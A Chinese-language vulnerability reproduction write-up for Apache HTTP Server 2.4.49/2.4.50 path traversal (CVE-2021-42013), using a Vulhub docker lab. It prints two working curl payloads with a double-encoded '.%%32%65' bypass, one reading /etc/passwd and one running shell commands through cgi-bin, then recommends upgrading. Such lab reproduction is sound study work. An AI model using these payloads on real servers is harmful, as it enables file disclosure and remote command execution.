【漏洞复现】Apache_HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013)-Toy模板网

这篇具有很好参考价值的文章主要介绍了【漏洞复现】Apache_HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013)。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

感谢互联网提供分享知识与智慧，在法治的社会里，请遵守有关法律法规

说明	内容
漏洞编号	CVE-2021-42013
漏洞名称	Apache HTTP_2.4.50_路径穿越漏洞
漏洞评级	高危
影响范围	2.4.49 2.4.50
漏洞描述	CVE-2021-42013是由CVE-2021-41773的不完整修复导致的漏洞，攻击者可以使用路径遍历攻击将URL映射到由类似别名指令配置的目录之外的文件。
修复方案	升级至最新版本

CVE-2021-42013是由CVE-2021-41773的不完整修复导致的漏洞，攻击者可以使用路径遍历攻击将URL映射到由类似别名指令配置的目录之外的文件

此漏洞影响Apache HTTP Server 2.4.49和2.4.50，而不影响更早版本。

高危

Apache HTTP Server 2.4.49以及2.4.50两个版本

Path：Vulhub/httpd/CVE-2021-42013

启动测试环境：

docker-compose build
sudo docker-compose up -d

访问http://your-ip:8080/即可看到Apache HTTP Server的It works!

【漏洞复现】Apache_HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013),# 漏洞复现,apache,http,网络协议,漏洞复现

【漏洞复现】Apache_HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013),# 漏洞复现,apache,http,网络协议,漏洞复现

Apache HTTP Server 2.4.50修补了以前的CVE-2021-41773漏洞

但可以使用.%%32%65进行绕过（注意其中的/icons/必须是一个存在且可访问的目录）

 curl -v --path-as-is http://192.168.80.141:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

【漏洞复现】Apache_HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013),# 漏洞复现,apache,http,网络协议,漏洞复现

在服务器上启用mods cgi或cgid后，此路径遍历漏洞将允许执行任意命令

 curl -v --data "echo;id" 'http://192.168.80.141:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

【漏洞复现】Apache_HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013),# 漏洞复现,apache,http,网络协议,漏洞复现

【漏洞复现】Apache_HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013),# 漏洞复现,apache,http,网络协议,漏洞复现

升级至最新版本文章来源地址https://www.toymoban.com/news/detail-743029.html

到了这里，关于【漏洞复现】Apache_HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013)的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

【漏洞复现】Apache_HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013)